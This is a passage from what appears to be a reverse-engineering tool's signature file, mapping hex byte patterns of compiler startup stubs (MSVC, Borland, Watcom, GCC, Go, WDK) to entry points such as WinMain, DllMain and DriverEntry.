0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+81^[_DllMain@12]~msmfc2d/~@vc32mfc@; 672 | 673 | Pattern: 6A1068........E8........8BF98BF28B5D0833C0408945E433C9894DFC8935 674 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+75^[_DllMain@12]~msmfc2d/~@vc32mfc@; 675 | 676 | Pattern: 6A1468........E8........33F63935........750B56566A0156FF15 677 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+106(-61!&~-/GetCommandLineW~)??^/_wmain;^/ 678 | 679 | Pattern: 6A1468........E8........33F68975E48975E0FF15........0FB7D88975FC 680 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+120^[_WinMain@16]~msmfc2/~@vc32mfc@; 681 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+12A^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 682 | 683 | Pattern: 6A1468........E8........6A01E8........5984C00F843F01000032DB885D 684 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F2(-C!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 685 | 686 | Pattern: 6A1468........E8........6A01E8........5984C00F844001000032DB885D 687 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F3(-C!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 688 | 689 | Pattern: 6A1468........E8........6A01E8........5984C00F844501000032DB885D 690 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F4(-9!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 691 | 692 | Pattern: 6A1468........E8........6A01E8........5984C00F844601000032DB885D 693 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F5(-9!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 694 | 695 | Pattern: 6A1468........E8........6A01E8........5984C00F844A01000032DB885D 696 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F3(-C!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 697 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F3(-C!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 698 | 699 | Pattern: 6A1468........E8........6A01E8........5984C00F845001000032DB885D 700 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F5(-9!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 701 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F5(-9!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 702 | 703 | Pattern: 6A1468........E8........6A01E8........5984C075076A07E8........32 704 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F1(-C!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 705 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F3(-9!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 706 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F4(-A!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 707 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+F8(-C!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 708 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+FA(-A!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 709 | 710 | Pattern: 6A1468........E8........6A01E8........59B84D5A0000663905 711 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+ED(-61!&~-/GetCommandLineW~)??^/_wmain;^/ 712 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+F9(-61!&~-/GetCommandLineW~)??^/_wmain;^/ 713 | 714 | Pattern: 6A1468........E8........8365E000E8........0FB7D88365FC0064A11800 715 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+11C^[_WinMain@16]~msmfc2/~@vc32mfc@; 716 | 717 | Pattern: 6A1468........E8........8365E400E8........0FB7D88365FC0064A11800 718 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+126^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 719 | 720 | Pattern: 6A1468........E8........B84D5A0000663905........7538A1........81 721 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+F5^/_wmain 722 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+F6^/ 723 | 724 | Pattern: 6A1468........E8........E8........0FB7F06A02E8........59B84D5A00 725 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+EC(-58!&~-/GetCommandLineW~)??^/_wWinMain@16;^/_WinMain@16 726 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+F8(-58!&~-/GetCommandLineW~)??^/_wWinMain@16;^/_WinMain@16 727 | 728 | Pattern: 6A1868........E8........BF940000008BC7E8........8965E88BF4893E56 729 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+166^/_wmain 730 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+167^/ 731 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+16D^/_wmain 732 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+16E^/ 733 | 734 | Pattern: 6A1C68........E8........BF94000000576A008B1D........FFD350FF15 735 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+159^/_wmain 736 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+15A^/ 737 | 738 | Pattern: 6A2868........E8........33FF57FF15........6681384D5A751F8B483C03 739 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+13E(-14!&~-/__p___winitenv~)??^/_wmain;^/ 740 | 741 | Pattern: 6A5868........E8........33DB895DE4895DFC8D459850FF15........C745 742 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+13B^[_WinMain@16]~msmfc2/~@vc32mfc@; 743 | 744 | Pattern: 6A5868........E8........33F68975FC8D459850FF15........6AFE5F897D 745 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+10D^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 746 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+10E^[_WinMain@16]~msmfc2/~@vc32mfc@; 747 | 748 | Pattern: 6A5868........E8........8D459850FF15........33F63935........750B 749 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+115(-66!&~-/GetCommandLineW~)??^/_wWinMain@16;^/_WinMain@16 750 | 751 | Pattern: 6A5C68........E8........33DB895DE4895DFC8D459450FF15........C745 752 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+14B^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 753 | 754 | Pattern: 6A5C68........E8........33DB895DE48D459450FF15........391D 755 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+14B^[_WinMain@16]~msmfc2/~@vc32mfc@; 756 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+153^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 757 | 758 | Pattern: 6A6068........E8........8365FC008D459050FF15........C745FCFEFFFF 759 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+171^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 760 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+172^[_WinMain@16]~msmfc2/~@vc32mfc@; 761 | 762 | Pattern: 6A6068........E8........BF940000008BC7E8........8965E88BF4893E56 763 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+17E^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 764 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+17F^[_WinMain@16]~msmfc2/~@vc32mfc@; 765 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+185^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 766 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+186^[_WinMain@16]~msmfc2/~@vc32mfc@; 767 | 768 | Pattern: 6A7468........E8........33DB895DE0538B3D........FFD76681384D5A75 769 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+180^[_WinMain@16]~msmfc2/~@vc32mfc@; 770 | 771 | Pattern: 6A7468........E8........33FF897DE0578B1D........FFD36681384D5A75 772 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+19B^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 773 | 774 | Pattern: 837C2408017505E8........FF7424048B4C24108B54240CE8........59C20C 775 | 0000:s=18/- 776 | 777 | Pattern: 83EC04837C240C00751633C0E8........E8........33C0E8........EB2A90 778 | 0000:vac35wc:c=a:o=2:a=16A 779 | 780 | Pattern: 83EC04837C240C00751633C0E8........E8........33C0E8........EB2F90 781 | 0000:vac35wc:c=a:o=2:a=16A 782 | 783 | Pattern: 83EC04837C240C007526E8........85C00F855E00000033C0E8........E8 784 | 0000:vac35wc:c=a:o=2:a=16A 785 | 786 | Pattern: 83EC04837C240C007526FF15........85C0755C33C0E8........E8 787 | 0000:vac35wc:c=a:o=2:a=16A 788 | 789 | Pattern: 83EC088B4424088D5C240C890424895C2404E9 790 | 0000:s=12/- 791 | 792 | Pattern: 83EC0C538B5C2414558B6C2420568B74242057FF15........A9000000808944 793 | 0000:o=2:a=104:dm32rw32:m=+C0^/_DllMain@12 794 | 795 | Pattern: 83EC0CC705........00000000E8........83C40CE916FCFFFF909090909090 796 | 0000:s=15/- 797 | 798 | Pattern: 83EC0CC705........00000000E8........83C40CE946FCFFFF909090909090 799 | 0000:s=15/- 800 | 801 | Pattern: 83EC0CC705........00000000E8........83C40CE956FCFFFF909090909090 802 | 0000:s=15/- 803 | 804 | Pattern: 83EC0CC705........00000000E8........83C40CE966FCFFFF909090909090 805 | 0000:s=15/- 806 | 807 | Pattern: 83EC0CC705........00000000E8........83C40CE976FCFFFF909090909090 808 | 0000:s=15/- 809 | 810 | Pattern: 83EC0CC705........00000000E8........83C40CE986FCFFFF8DB600000000 811 | 0000:s=15/- 812 | 813 | Pattern: 83EC0CC705........00000000E8........83C40CE986FCFFFF909090909090 814 | 0000:s=15/- 815 | 816 | Pattern: 83EC0CC705........00000000E8........83C40CE996FCFFFF8DB600000000 817 | 0000:s=15/- 818 | 819 | Pattern: 83EC0CC705........00000000E8........83C40CE996FCFFFF909090909090 820 | 0000:s=15/- 821 | 822 | Pattern: 83EC0CC705........00000000E8........83C40CE9A6FCFFFF909090909090 823 | 0000:s=15/- 824 | 825 | Pattern: 83EC0CC705........01000000E8........83C40CE936FCFFFF8DB600000000 826 | 0000:s=15/- 827 | 828 | Pattern: 83EC0CC705........01000000E8........83C40CE966FCFFFF8DB600000000 829 | 0000:s=15/- 830 | 831 | Pattern: 83EC0CC705........01000000E8........83C40CE976FCFFFF8DB600000000 832 | 0000:s=15/- 833 | 834 | Pattern: 83EC0CC705........01000000E8........83C40CE986FCFFFF8DB600000000 835 | 0000:s=15/- 836 | 837 | Pattern: 83EC0CC705........01000000E8........83C40CE996FCFFFF8DB600000000 838 | 0000:s=15/- 839 | 840 | Pattern: 83EC0CC705........01000000E8........83C40CE9A6FCFFFF8DB600000000 841 | 0000:s=15/- 842 | 843 | Pattern: 83EC0CC705........01000000E8........83C40CE9B6FCFFFF8DB600000000 844 | 0000:s=15/- 845 | 846 | Pattern: 83EC0CC705........01000000E8........83C40CE9C6FCFFFF8DB600000000 847 | 0000:s=15/- 848 | 849 | Pattern: 83EC0CE878FDFFFF908DB42600000000 850 | 0000:s=3/- 851 | 852 | Pattern: 83EC0CE888FDFFFF908DB42600000000 853 | 0000:s=3/- 854 | 855 | Pattern: 83EC1C8B542424C705........0000000083FA01741A8B4C24288B442420E80D 856 | 0000:s=1E/- 857 | 858 | Pattern: 83EC1C8B542424C705........0000000083FA01741A8B4C24288B442420E81D 859 | 0000:s=1E/- 860 | 861 | Pattern: 83EC1C8B542424C705........0000000083FA01741A8B4C24288B442420E84D 862 | 0000:s=1E/- 863 | 864 | Pattern: 83EC1CA1........C7442404000000008944240CA1........89442408A1 865 | 0000:m=+25^/_wWinMain@16 866 | 867 | Pattern: 83EC1CC7042401000000FF15........E86BFDFFFF8D7426008DBC2700000000 868 | 0000:s=10/- 869 | 870 | Pattern: 83EC1CC7042401000000FF15........E8CBFEFFFF8D7426008DBC2700000000 871 | 0000:s=10/- 872 | 873 | Pattern: 83EC1CC7042402000000FF15........E84BFDFFFF8D7426008DBC2700000000 874 | 0000:s=10/- 875 | 876 | Pattern: 83EC1CC7042402000000FF15........E8ABFEFFFF8D7426008DBC2700000000 877 | 0000:s=10/- 878 | 879 | Pattern: 83EC1CC705........000000008B54242483FA01741A8B4C24288B442420E83D 880 | 0000:s=1E/- 881 | 882 | Pattern: 83EC1CC705........000000008B54242483FA01741A8B4C24288B442420E84D 883 | 0000:s=1E/- 884 | 885 | Pattern: 83EC1CC705........000000008B54242483FA01741A8B4C24288B442420E87D 886 | 0000:s=1E/- 887 | 888 | Pattern: 83EC2C85D2895C241C89C38974242089D6896C242889CD897C24248915 889 | 0000:o=2:a=108:c=g:gcc32rtf:m=+3E^/_DllMain@12 890 | 0000:o=2:a=108:c=g:gcc32rtf:m=+46^/_DllMain@12 891 | 0000:o=2:a=108:c=g:gcc32rtf:m=+46^/_DllMain@12 892 | 893 | Pattern: 83EC2C85D2895C241C89D3897C242489C7896C242889CD897424208915 894 | 0000:o=2:a=108:c=g:gcc32rtf:m=+40^/_DllMain@12 895 | 896 | Pattern: 83EC2C895C24208B5C2434897424248B742430897C24288B7C243883FB017444 897 | 0000:o=2:a=108:c=g:gcc32rtf:m=+2B^/_DllMain@12; 898 | 899 | Pattern: 8B04248B5C240481EC8000000083E4F089442478895C247CBD........8D9C24 900 | 0000::go_std:i=golang.idc 901 | 0000::go_std:i=golang.idc 902 | 903 | Pattern: 8B4424084874......E9.......... 904 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 905 | 906 | Pattern: 8B4424084874......E9........837C240C0075F458595A5A50525251E8E7FF 907 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 908 | 909 | Pattern: 8B4424084874......E9........837C240C0075F45859874424045051E8E7FF 910 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 911 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 912 | 913 | Pattern: 8B4424084874..9090E931750900 914 | 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 915 | 916 | Pattern: 8BFF558BEC5151A1........85C074073D40BB000075318D45F8506A006A0CE8 917 | 0000:o=2:a=100:ms32wdk:m=+4E^/_DriverEntry@8 918 | 919 | Pattern: 8BFF558BEC51837D0C0175238B4510508B4D0C518B550852E8........83C40C 920 | 0000:o=20:a=108:win32unx:m=+4A^/_DLLMain@12 921 | 922 | Pattern: 8BFF558BEC51E8........8945FC837DFCFF7510E8........8B0050E8 923 | 0000:o=20:a=104:win32unx:m=+5C^+1C^/ 924 | 925 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C488535657A1 926 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+286^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 927 | 928 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C48C535657A1 929 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+283^[_WinMain@16]~msmfc2/~@vc32mfc@; 930 | 931 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C490535657A1 932 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+238^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 933 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+25B^[_WinMain@16]~msmfc2/~@vc32mfc@; 934 | 935 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C494535657A1 936 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+160^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 937 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+161^[_WinMain@16]~msmfc2/~@vc32mfc@; 938 | 939 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C498535657A1 940 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+13D(-89!&~-/GetCommandLineW~)??^/_wWinMain@16;^/_WinMain@16 941 | 942 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C4E4535657A1 943 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+1A3(-22!&~-/__winitenv~)??^/_wmain;^/ 944 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+1BA(-22!&~-/__winitenv~)??^/_wmain;^/ 945 | 946 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C4E8535657A1 947 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+111^/_wmain 948 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+112^/ 949 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+124(-7A!&~-/GetCommandLineW~)??^/_wmain;^/ 950 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+C5^[_DllMain@12]~msmfc2d/~@vc32mfc@; 951 | 952 | Pattern: 8BFF558BEC6AFE68........68........64A1000000005083C4F0535657A1 953 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+C8^[_DllMain@12]~msmfc2d/~@vc32mfc@; 954 | 955 | Pattern: 8BFF558BEC837D0C017505E8........8B4510508B4D0C518B550852E8 956 | 0000:s=1C/- 957 | 958 | Pattern: 8BFF558BEC837D0C017505E8........FF75088B4D108B550CE8........595D 959 | 0000:s=19/- 960 | 961 | Pattern: 8BFF558BEC83EC08837D08000F85BA000000E8........A3........A1 962 | 0000:o=20:a=104:win32unx:m=+177^+29^/ 963 | 964 | Pattern: 8BFF558BEC83EC24E8........8945FC837DFCFF750EA1........50E8 965 | 0000:o=20:a=104:win32unx:m=+E6^+29^/ 966 | 967 | Pattern: 8BFF558BECE8........5D9090909090 968 | 0000:o=2:a=100:ms32wdk:m=+10/_DriverEntry@8 969 | 970 | Pattern: 8BFF558BECE8........5DE9 971 | 0000:o=2:a=100:ms32wdk:m=+B^/_DriverEntry@8 972 | 973 | Pattern: 8BFF558BECE8........5DEB 974 | 0000:o=2:a=100:ms32wdk:m=+B^/_DriverEntry@8 975 | 976 | Pattern: 8BFF558BECE8........E8........5DC3 977 | 0000:s=A/- 978 | 979 | Pattern: 8D4C240483E4F031C0FF71FC5589E5575653518D55A4B91100000083EC788B35 980 | 0000:o=2:a=104:c=g:gcc32rtf:m=+236(+AD!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 981 | 0000:o=2:a=104:c=g:gcc32rtf:m=+248(+AC!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 982 | 983 | Pattern: 8D4C240483E4F0FF71FC5589E55183EC14E8........A1........C744240400 984 | 0000:m=+38^/_WinMain@16 985 | 986 | Pattern: 8D4C240483E4F0FF71FC5589E556535183EC6CE8........E8........89C38D 987 | 0000:m=+9D^/_WinMain@16 988 | 0000:m=+9F^/_WinMain@16 989 | 0000:m=+A6^/_WinMain@16 990 | 0000:m=+B7^/_WinMain@16 991 | 0000:m=+D1^/_WinMain@16 992 | 993 | Pattern: A1........C1E002A3........575133C0BF........B9........3BCF76052B 994 | 0000:o=2:bh32rw32:l=b32vcl/bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=104:m=+2E!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 0046:__GetExceptDLLinfo 004B:__isDLL 0053:__getHInstance 00F9:@System@@GetTls$qqrv 995 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=104:m=+5C!*0d&+18(+15?0)*0c&??/;/WinMain 0074:__GetExceptDLLinfo 996 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/bh32dbe/b532cgw:a=104:m=+56!*0d&+18(+25?0)*0c&??/;/WinMain 006E:__GetExceptDLLinfo 997 | 0000:o=2:i=bds/bor32:a=104:m=+3E!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 0056:__GetExceptDLLinfo 005B:__isDLL 0063:__getHInstance 010C:___System__GetTls 998 | 0000:o=2:i=bds/bor32:a=104:m=+48!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 0060:__GetExceptDLLinfo 0065:__isDLL 006D:__getHInstance 0140:___System__GetTls 999 | 1000 | Pattern: A1........C1E002A3........64678B1604008B42F8A3........8B42FCA3 1001 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/bh32dbe:a=104:m=+3D!*0d&+18(+25?0)*0c&??/;/WinMain 004A:__GetExceptDLLinfo 1002 | 1003 | Pattern: A1........C1E002A3........837C2408010F8580000000803D........0074 1004 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=108:m=+D4!*0d&+18*0c&/DllEntryPoint 011B:__GetExceptDLLinfo 1005 | 1006 | Pattern: A1........C1E002A3........837C2408010F859B000000803D........0074 1007 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=108:m=+EF!*0d&+18*0c&/DllEntryPoint 0154:__GetExceptDLLinfo 1008 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=108:m=+EF!*0d&+18*0c&/DllEntryPoint 0151:__GetExceptDLLinfo 1009 | 1010 | Pattern: A1........C1E002A3........837C2408017519575133C0BF........B9 1011 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/bh32dbe/b532cgw:a=108:m=+8B!*0d&+18*0c&/DllEntryPoint 00C3:__GetExceptDLLinfo 1012 | 1013 | Pattern: A1........C1E002A3........837C240801752764678B1604008B42F8A3 1014 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/bh32dbe:a=108:m=+3B!*0d&+18*0c&/DllEntryPoint 0063:__GetExceptDLLinfo 1015 | 1016 | Pattern: A1........C1E002A3........837C240801756B803D........007421E8 1017 | 0000:o=2:bh32rw32:l=bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=108:m=+86!*0d&+18*0c&/DllEntryPoint 1018 | 1019 | Pattern: A1........C1E002A3........8B442408A3........FF1485........833D 1020 | 0000:o=2:i=bds/bor32:a=108:m=+AA!*0d&+18*0c&/DllEntryPoint 012B:__GetExceptDLLinfo 0130:__isDLL 0138:__getHInstance 020F:___System__GetTls 1021 | 1022 | Pattern: A1........C1E002A3........8B442408FF1485........837C240801755080 1023 | 0000:o=2:bh32rw32:l=b32vcl/bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=108:m=+76!*0d&+18*0c&/DllEntryPoint 009B:__isDLL 00A3:__getHInstance 0149:@System@@GetTls$qqrv 1024 | 1025 | Pattern: A1........C1E002A3........8B442408FF1485........837C240801755880 1026 | 0000:o=2:bh32rw32:l=b32vcl/bh32cls/bh32owl/bh32ocf/b5132mfc/bh32dbe/b532cgw:a=108:m=+7E!*0d&+18*0c&/DllEntryPoint 00A3:__GetExceptDLLinfo 00A8:__isDLL 00B0:__getHInstance 0156:@System@@GetTls$qqrv 1027 | 1028 | Pattern: A1........C1E002A3........8B442408FF1485........837C240801757280 1029 | 0000:o=2:i=bds/bor32:a=108:m=+91!*0d&+18*0c&/DllEntryPoint 0106:__GetExceptDLLinfo 010B:__isDLL 0113:__getHInstance 01C0:___System__GetTls 1030 | 1031 | Pattern: B8........85C0741FE8........A3........E8........A1........50E8 1032 | 0000:o=2:a=10C:b32vcl 1033 | 1034 | Pattern: B87E000780C20400 1035 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 1036 | 1037 | Pattern: BA........837D0C01752A5052C605........018B4D08890D........894A04 1038 | 0000:o=2:a=10C:bds 1039 | 1040 | Pattern: C705................E9................574154434F4D20432F432B2B33 1041 | 0000:o=2:a=100:wa32rtn:wa32rt_:m=!*1c&[_WinMain]+16^(~/+007DDEFAULTWINMAIN~+34^/main_)~/+0080DEFAULTWINMAIN~+3C^/main 1042 | 1043 | Pattern: C80C000053FF15........8945F4F745F400000080740D807DF4047307B80100 1044 | 0000:o=2:a=104:dm32rw32:m=+167^/_DllMain@12 1045 | 0000:o=2:a=104:dm32rw32:m=+C7^/_DllMain@12 1046 | 1047 | Pattern: E8........E9 1048 | 0000:s=5/- 1049 | 1050 | Pattern: E9.................. 1051 | 0000:s=0/- 1052 | 1053 | Pattern: E9................4F70656E20576174636F6D20432F432B2B33322052756E 1054 | 0000:o=2:a=100:wa32rtn:wa32rt_:s=0/wa32stn 1055 | 1056 | Pattern: E9................574154434F4D2043203338362052756E2D54696D652073 1057 | 0000:o=2:a=100:wa32rtn:wa32rt_:s=0/wa32stn 1058 | 1059 | Pattern: E9................574154434F4D20432F432B2B33322052756E2D54696D65 1060 | 0000:o=2:a=100:wa32rtn:wa32rt_:s=0/wa32stn 1061 | 0000:o=2:a=100:wa32rtn:wa32rt_:s=0/wa32stn 1062 | 1063 | Pattern: EB1066623A432B2B484F4F4B90E9........A1........C1E002A3........52 1064 | 0000:o=2:i=bds/bor32:a=104:m=+41!(*0d&$bds/detect$)(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 0059:__GetExceptDLLinfo 005E:__isDLL 0066:__getHInstance 0140:@Sysinit@@GetTls$qqrv 1065 | 0000:o=2:i=bds/emb:a=104:m=+47!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 005F:__GetExceptDLLinfo 0064:__isDLL 006C:__getHInstance 0146:@Sysinit@@GetTls$qqrv 1066 | 1067 | Pattern: EB1066623A432B2B484F4F4B90E9........A1........C1E002A3........8B 1068 | 0000:o=2:i=bds/bor32:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 0117:__GetExceptDLLinfo 011C:__isDLL 0124:__getHInstance 0226:@Sysinit@@GetTls$qqrv 026A:___CRTL_TLS_Alloc 0270:___CRTL_TLS_Free 0281:___CRTL_TLS_GetValue 0292:___CRTL_TLS_SetValue 02A7:___CRTL_TLS_InitThread 02B3:___CRTL_TLS_ExitThread 1069 | 0000:o=2:i=bds/bor32:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 0117:__GetExceptDLLinfo 011C:__isDLL 0124:__getHInstance 0226:@Sysinit@@GetTls$qqrv 026A:___CRTL_TLS_Alloc 0270:___CRTL_TLS_Free 0281:___CRTL_TLS_GetValue 0292:___CRTL_TLS_SetValue 02A7:___CRTL_TLS_InitThread 02B3:___CRTL_TLS_ExitThread 1070 | 0000:o=2:i=bds/bor32:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 0117:__GetExceptDLLinfo 011C:__isDLL 0124:__getHInstance 0202:@Sysinit@@GetTls$qqrv 1071 | 0000:o=2:i=bds/bor32:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 0117:__GetExceptDLLinfo 011C:__isDLL 0124:__getHInstance 0202:@Sysinit@@GetTls$qqrv 1072 | 0000:o=2:i=bds/bor32:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 010F:__isDLL 0117:__getHInstance 01F5:@Sysinit@@GetTls$qqrv 1073 | 0000:o=2:i=bds/bor32:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 010F:__isDLL 0117:__getHInstance 